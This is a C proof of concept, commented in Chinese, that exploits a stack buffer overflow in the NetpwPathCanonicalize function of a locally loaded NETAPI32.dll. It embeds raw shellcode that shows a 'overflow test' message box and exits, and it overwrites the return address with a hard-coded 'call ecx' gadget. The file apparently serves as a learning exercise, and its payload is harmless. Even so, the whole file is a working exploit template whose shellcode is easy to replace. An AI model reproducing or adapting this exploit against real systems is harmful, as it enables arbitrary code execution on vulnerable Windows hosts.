#include <windows.h>typedef void (*MYPROC)(LPTSTR, ...); char ShellCode[] =               "\x33\xDB"                          // xor ebx,ebx              "\xB7\x06"                           // mov bh,6              "\x2B\xE3"                          // sub esp,ebx              "\x33\xDB"                          // xor ebx,ebx              "\x53"                              // push ebx              "\x68\xB9\xFE\xB9\xFE"              // push "哈哈"              "\x8B\xC4"                          // mov eax,esp              "\x53"                              // push ebx                    "\x68\xD0\xA1\xEA\xCA"              "\x68\x20\x62\x79\x3A"              "\x68\xB2\xE2\xCA\xD4"              "\x68\xD2\xE7\xB3\xF6"               // push "溢出测试 by:小晔"              "\x8B\xCC"                           // mov ecx,esp              "\x53"                               // push ebx              "\x50"                               // push eax              "\x51"                               // push ecx              "\x53"                               // push ebx              "\xB8\xea\x07\xd5\x77"                             "\xFF\xD0"                           // call MessageBox              "\x53"              "\xB8\xFA\xCA\x81\x7C"              "\xFF\xD0" ;                          // call ExitProcess                   int main(){    // 设置第二段路径字符串的长度为0x21A    char lpWideCharStr[0x21A];    // 设置用于接收格式化后的字符串的缓冲区空间为0x420    char arg_4[0x420];    // 表明arg_4的大小，设置和arg_4的缓冲区大小一致即可    int  arg_8 = 0x420;    // 设置第一段路径字符串的长度为0x206，正好是门限大小    char arg_C[0x206];    long arg_10 = 1;         HINSTANCE libHandle; MYPROC funcAddr;    // 加载NETAPI32.dll函数    char dllName[] = "./NETAPI32.dll";       libHandle = LoadLibrary(dllName);    LoadLibrary("user32.dll");    // 获取函数NetpwPathCanonicalize()的地址    funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize");    // 验证是否获取成功，不成功则释放掉句柄资源    if ( libHandle == NULL || funcAddr == NULL )    {        MessageBox(0, "Load error!", "Warning", 0);        FreeLibrary(libHandle);    }    // 将路径字串的第一部分内容填充‘A’，末两位以\x00结束    memset(arg_C, 0, sizeof(arg_C));    memset(arg_C, 'A', sizeof(arg_C)-2);    // 将路径字串的第二部分内容填充‘B’，末两位以\x00结束    memset(lpWideCharStr, 0, sizeof(lpWideCharStr));    memset(lpWideCharStr, 'B', sizeof(lpWideCharStr)-2);    // 将shellcode植入溢出代码的起始位置    memcpy(arg_C, ShellCode, sizeof(ShellCode));    // call ecx    lpWideCharStr[0x212] = 0xF9;    lpWideCharStr[0x213] = 0x52;    lpWideCharStr[0x214] = 0x18;    lpWideCharStr[0x215] = 0x75;    // 调用NetpwPathCanonicalize()函数    (funcAddr)(lpWideCharStr, arg_4, arg_8, arg_C, &arg_10, 0);    // 释放句柄资源    FreeLibrary(libHandle);    // 返回    return 0;}